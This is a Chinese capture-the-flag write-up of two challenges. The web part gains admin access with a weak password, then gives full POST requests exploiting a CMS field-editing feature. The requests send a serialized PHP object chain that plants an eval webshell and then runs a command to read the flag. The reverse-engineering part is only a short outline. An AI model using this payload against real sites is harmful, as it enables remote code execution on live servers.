这两道题属于比较简单的，顺道说一下，今年的题有点抽象，web不是misc，re不是web的，也有可能时代在进步，现在要求全栈了吧
web1
最开始被强网的小浣熊带偏思路了，进来疯狂找sql注入，结果后台弱口令一试，
找了一堆POC，都打不通，进到后台试了半天文件上传也不行，最后只能针对cms版本进行攻击，找到了
https://cn-sec.com/archives/2640154.html文章，照着文章里的方法打就好了：
进左侧最下面的功能地图把栏目字段启用
POST /login.phpm=admin&c=Field&a=arctype_add&_ajax=1&lang=cn
title=poc3&name=poc3&dtype=region&dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99
之后会新建一个poc3的字段，要记住这个字段的ID
然后打POC：
POST /login.phpm=admin&c=Field&a=arctype_edit&_ajax=1&lang=cn
title=poc3&name=poc3&old_dtype=region&dfvalue=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A6%3A%22append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A5%3A%22error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A5%3A%22query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A6%3A%22styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A6%3A%22handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A3%3A%22tag%22%3Bs%3A1%3A%22t%22%3Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fstring.rot13%2Fresource%3D%3C%3Fcuc+%40riny%28%24_TRG%5B_%5D%29%3B%3F%3E%2F…%2Fa.php%22%3B%7D%7D%7D%7D%7D%7D%7D%7D&old_dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99&id=545&old_name=poc3&dtype[]=region
之后就getshell了，
/a.php617ac73525b333bea4ac35a717dd8b0a.php_=system(‘cat /f*’);
Re2
拖到jar反编译工具里，发现该处存在密钥和加密方法提示(AES):
正则提取密文
直接GPT：
直接跑